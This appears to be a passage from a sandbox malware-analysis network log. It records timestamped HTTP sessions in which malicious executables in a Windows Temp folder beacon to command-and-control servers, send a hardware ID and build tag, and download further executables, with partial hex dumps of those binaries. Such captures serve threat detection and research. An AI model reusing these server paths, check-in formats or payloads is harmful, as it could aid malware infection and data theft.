6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 46 90 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@hF@M$a$ $b@.rsrc $r@.idata $r@ 0*$t@oxdvgcpfNv@bxdexzeoh4@.taggant0h"8@
Nov 10, 2024 19:45:30.210448980 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:30.210623980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:30.210633993 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:30.210644960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:30.210666895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:30.210679054 CET	424	IN	Data Raw: 21 ee b2 53 64 ff b3 38 60 49 80 0e 35 77 92 98 4e e4 da 72 2c e0 bd 76 da 04 66 2e e8 41 62 dc 15 90 d2 f2 56 94 00 16 80 2c f0 37 93 48 8f f8 93 06 ac da 56 29 72 1e 8b fc c0 0d d1 77 40 6f 6b 83 95 92 d9 ef ac 0a 81 38 c0 8b 69 31 c5 5a f9 3e Data Ascii: !Sd8`I5wNr,vf.AbV,7HV)rw@ok8i1Z>:&,'5-),W)+L>!@4)}h9l"xA>qk`UCS/2jWBg5&[<&.W4{?z 0Zz5r.p1m{h&s(qL
Nov 10, 2024 19:45:30.210840940 CET	1236	IN	Data Raw: 3f e8 f6 16 30 95 ce 3e 35 1a ce c3 30 20 fc e2 3d f1 c6 9a 59 73 40 c2 96 17 81 43 70 72 56 7a 94 4c f8 c6 99 de 80 1d 30 06 13 93 64 3a db aa 55 c8 b7 48 a6 a0 ac 50 8c 44 08 ca 9f e6 3c 55 63 04 38 fa 59 30 2c 25 4f 79 3c 3e d8 10 db 1a 10 dc Data Ascii: ?0>50 =Ys@CprVzL0d:UHPD<Uc8Y0,%Oy<>`.P)K\(iF#b0twO+: $Bw,BdA}c]'1/9b#Z\AG&tyX-,5$:UXT<W?Q,z[APDz&B:
Nov 10, 2024 19:45:30.210850954 CET	212	IN	Data Raw: 27 46 9b 6a 34 38 c2 7e 60 18 d6 5a 14 99 2b 5c ec 99 4e 5e f8 e1 ed 16 1a 8d 41 cd ce 14 3f 14 e6 59 46 da 8e 08 d3 20 f0 2e 85 bf 54 04 56 c6 56 83 38 3e 4f 71 5a 90 68 25 24 28 a9 93 bd fd 29 90 e3 bb b3 85 56 e8 3c 6a c2 29 a1 95 d8 99 51 6a Data Ascii: 'Fj48~`Z+\N^A?YF .TVV8>OqZh%$()V<j)Qjg$=I?8u6<-<\|XuV<GDMRz$KReu5U"t7;o7$@^/JT1V,cO28<p}c
Nov 10, 2024 19:45:30.210863113 CET	1236	IN	Data Raw: 13 98 b3 60 7e f6 88 64 74 74 3c 13 c8 20 79 e0 82 4d c3 c8 a1 b8 bb 90 d9 f9 45 b1 26 c7 f9 51 2d 81 9a 26 ac 6c ce 10 90 a0 86 26 a4 a4 c4 e2 75 b3 8d 5a 10 40 28 22 18 d9 ff 22 2c 94 f9 8a 8f c5 c0 d3 f1 22 4d 27 19 05 0e 53 14 59 71 15 bc bc Data Ascii: `~dtt< yME&Q-&l&uZ@("","M'SYqi i!u/v^p.FEH@I5 =QB3JfNM'.rX1^WUmz>8rs~?fC>-d#<[Ba6zxK"
Nov 10, 2024 19:45:30.215388060 CET	1236	IN	Data Raw: 8c 84 a4 0f 20 91 8e 32 22 50 7a 30 6c bb bc f5 35 20 74 32 22 42 9a 33 b0 30 0d a0 1f 52 46 24 18 a8 4f b2 86 21 33 40 b8 d8 cd c6 11 20 7a 57 b5 38 47 21 c0 13 7c 2b e4 74 6d 1a 55 bc 84 36 4c 70 c8 06 93 44 41 84 95 ec 96 23 36 4a ca d6 a5 44 Data Ascii: 2"Pz0l5 t2"B30RF$O!3@ zW8G!\|+tmU6LpDA#6JDDr:V6#BX6\6T"v3\|Ng.G)FXE7%04:^o9$r0H6FVz6D 75<N12p=Y8;x")ebV18g WfTy6FNP\^Wr&L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49999	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:38.385020018 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 33 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005361001&unit=246122658369
Nov 10, 2024 19:45:39.263911963 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50006	185.215.113.206	80	6912	C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:38.944633961 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:45:39.855005026 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:45:39.859457970 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="build"mars------IDHDGIEHJJJJEBGDAFHJ--
Nov 10, 2024 19:45:40.144526005 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50012	185.215.113.16	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:39.470067978 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 10 Nov 2024 18:23:07 GMT If-None-Match: "6730fa0b-1b5a00"
Nov 10, 2024 19:45:40.373723984 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:40 GMT Last-Modified: Sun, 10 Nov 2024 18:23:07 GMT Connection: keep-alive ETag: "6730fa0b-1b5a00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50034	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:43.975413084 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 33 36 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005362031&unit=246122658369
Nov 10, 2024 19:45:44.688214064 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50040	185.215.113.16	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:44.698431015 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 10, 2024 19:45:45.605290890 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:45 GMT Content-Type: application/octet-stream Content-Length: 2739712 Last-Modified: Sun, 10 Nov 2024 18:15:48 GMT Connection: keep-alive ETag: "6730f854-29ce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 de e4 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ )`Ui` @ @.rsrc`2@.idata 8@bmdxulvp)n):@yclwwlhy )@.taggant@@*")@
Nov 10, 2024 19:45:45.605334997 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605412006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605467081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605479956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605555058 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605566025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605577946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:45.605587959 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: m3<EQzfiyyatjgYB[L}%j
Nov 10, 2024 19:45:45.605854034 CET	1236	IN	Data Raw: 89 ea e4 0f 68 32 bb b9 b8 a4 0f f0 ec 6c 5f bf 30 77 72 73 be aa 7c 75 ee 74 36 de f8 5f 6f 2f 57 76 6b 17 23 3b 5e 79 d4 41 7c 60 01 1a 6d cc 78 47 76 f6 26 2a b5 ef c8 7c 6d 2a 87 67 c3 de 43 79 0c d7 d7 5e 74 ed ca 5d 6f e2 fb 4e 64 eb a9 8a Data Ascii: h2l_0wrs\|ut6_o/Wvk#;^yA\|`mxGv&\|mgCy^t]oNdp;zbv/U=/IhhWtr\J>Km+-SY7jvIf\U_4yv-A"j*Nu7fY?eWeCm_95ieS:2rJ[feK
Nov 10, 2024 19:45:45.610080004 CET	1236	IN	Data Raw: 5e 99 ad 2e 6c 68 eb b1 fb 5e 95 2f fd 7d 55 01 4f b5 85 bb 28 c2 8f f5 02 59 f1 da 4c 5a c9 55 d6 dd 62 a7 fb f9 41 30 3d 4a e9 61 45 21 d2 0d 6d 58 d9 6f 98 41 f9 da 7c 5e c1 20 35 d5 f3 9a ed cd 43 b1 ca 25 be 49 99 e3 bd a5 c5 84 7e a1 cd 08 Data Ascii: ^.lh^/}UO(YLZUbA0=JaE!mXoA\|^ 5C%I~~Q-.}\VIuEWAo]4[Q~/~,PC0{q^3e.+<V$Eo{<Q;f]pusGjw}>EjDcI7yO; f7)i7X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50053	185.215.113.16	80	7484	C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:48.165107012 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 10, 2024 19:45:49.068552017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:48 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Sun, 10 Nov 2024 18:23:07 GMT Connection: keep-alive ETag: "6730fa0b-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 46 90 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@hF@M$a$ $b@.rsrc $r@.idata $r@ 0*$t@oxdvgcpfNv@bxdexzeoh4@.taggant0h"8@
Nov 10, 2024 19:45:49.068607092 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:49.068617105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:49.068640947 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:49.068650961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:49.068656921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:49.068702936 CET	424	IN	Data Raw: 21 ee b2 53 64 ff b3 38 60 49 80 0e 35 77 92 98 4e e4 da 72 2c e0 bd 76 da 04 66 2e e8 41 62 dc 15 90 d2 f2 56 94 00 16 80 2c f0 37 93 48 8f f8 93 06 ac da 56 29 72 1e 8b fc c0 0d d1 77 40 6f 6b 83 95 92 d9 ef ac 0a 81 38 c0 8b 69 31 c5 5a f9 3e Data Ascii: !Sd8`I5wNr,vf.AbV,7HV)rw@ok8i1Z>:&,'5-),W)+L>!@4)}h9l"xA>qk`UCS/2jWBg5&[<&.W4{?z 0Zz5r.p1m{h&s(qL
Nov 10, 2024 19:45:49.068716049 CET	1236	IN	Data Raw: 3f e8 f6 16 30 95 ce 3e 35 1a ce c3 30 20 fc e2 3d f1 c6 9a 59 73 40 c2 96 17 81 43 70 72 56 7a 94 4c f8 c6 99 de 80 1d 30 06 13 93 64 3a db aa 55 c8 b7 48 a6 a0 ac 50 8c 44 08 ca 9f e6 3c 55 63 04 38 fa 59 30 2c 25 4f 79 3c 3e d8 10 db 1a 10 dc Data Ascii: ?0>50 =Ys@CprVzL0d:UHPD<Uc8Y0,%Oy<>`.P)K\(iF#b0twO+: $Bw,BdA}c]'1/9b#Z\AG&tyX-,5$:UXT<W?Q,z[APDz&B:
Nov 10, 2024 19:45:49.068726063 CET	212	IN	Data Raw: 27 46 9b 6a 34 38 c2 7e 60 18 d6 5a 14 99 2b 5c ec 99 4e 5e f8 e1 ed 16 1a 8d 41 cd ce 14 3f 14 e6 59 46 da 8e 08 d3 20 f0 2e 85 bf 54 04 56 c6 56 83 38 3e 4f 71 5a 90 68 25 24 28 a9 93 bd fd 29 90 e3 bb b3 85 56 e8 3c 6a c2 29 a1 95 d8 99 51 6a Data Ascii: 'Fj48~`Z+\N^A?YF .TVV8>OqZh%$()V<j)Qjg$=I?8u6<-<\|XuV<GDMRz$KReu5U"t7;o7$@^/JT1V,cO28<p}c
Nov 10, 2024 19:45:49.068742990 CET	1236	IN	Data Raw: 13 98 b3 60 7e f6 88 64 74 74 3c 13 c8 20 79 e0 82 4d c3 c8 a1 b8 bb 90 d9 f9 45 b1 26 c7 f9 51 2d 81 9a 26 ac 6c ce 10 90 a0 86 26 a4 a4 c4 e2 75 b3 8d 5a 10 40 28 22 18 d9 ff 22 2c 94 f9 8a 8f c5 c0 d3 f1 22 4d 27 19 05 0e 53 14 59 71 15 bc bc Data Ascii: `~dtt< yME&Q-&l&uZ@("","M'SYqi i!u/v^p.FEH@I5 =QB3JfNM'.rX1^WUmz>8rs~?fC>-d#<[Ba6zxK"
Nov 10, 2024 19:45:49.073623896 CET	1236	IN	Data Raw: 8c 84 a4 0f 20 91 8e 32 22 50 7a 30 6c bb bc f5 35 20 74 32 22 42 9a 33 b0 30 0d a0 1f 52 46 24 18 a8 4f b2 86 21 33 40 b8 d8 cd c6 11 20 7a 57 b5 38 47 21 c0 13 7c 2b e4 74 6d 1a 55 bc 84 36 4c 70 c8 06 93 44 41 84 95 ec 96 23 36 4a ca d6 a5 44 Data Ascii: 2"Pz0l5 t2"B30RF$O!3@ zW8G!\|+tmU6LpDA#6JDDr:V6#BX6\6T"v3\|Ng.G)FXE7%04:^o9$r0H6FVz6D 75<N12p=Y8;x")ebV18g WfTy6FNP\^Wr&L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50056	185.215.113.43	80	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:54.210587978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 33 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005363001&unit=246122658369
Nov 10, 2024 19:45:55.259572983 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50058	185.215.113.206	80	7328	C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:55.657941103 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:45:56.592794895 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:45:56.692395926 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 